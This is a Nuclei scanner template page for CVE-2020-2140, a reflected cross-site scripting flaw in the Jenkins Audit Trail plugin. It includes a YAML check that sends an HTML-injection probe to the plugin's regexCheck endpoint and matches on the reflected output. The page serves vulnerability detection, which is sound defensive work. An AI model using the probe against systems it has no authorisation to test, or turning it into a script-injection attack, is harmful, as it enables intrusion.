Jenkin Audit Trail <=3.2 - Cross-Site Scripting

ID: CVE-2020-2140

Severity: medium

Author: j3ssie/geraldino2

Tags: cve,cve2020,jenkins,xss,plugin

Description

Jenkins Audit Trail 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.

YAML Source

id: CVE-2020-2140

info:
  name: Jenkin Audit Trail <=3.2 - Cross-Site Scripting
  author: j3ssie/geraldino2
  severity: medium
  description: Jenkins Audit Trail 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version of Jenkin Audit Trail (>=3.3) which includes a fix for this vulnerability.
  reference:
    - https://www.jenkins.io/security/advisory/2020-03-09/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2140
    - https://jenkins.io/security/advisory/2020-03-09/#SECURITY-1722
    - http://www.openwall.com/lists/oss-security/2020/03/09/1
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-2140
    cwe-id: CWE-79
    epss-score: 0.00181
    epss-percentile: 0.55271
    cpe: cpe:2.3:a:jenkins:audit_trail:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 2
    vendor: jenkins
    product: audit_trail
    framework: jenkins
  tags: cve,cve2020,jenkins,xss,plugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
      - "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1>sample

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220617fd90574747dfea0f638c62c7b1d08a7574a6947460c4eea34438c9a42bbf2022023651bb8839d45e76034cc433088d1e78b0ff929c8694dd935a58e6ef1b1a696:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-2140.yaml"

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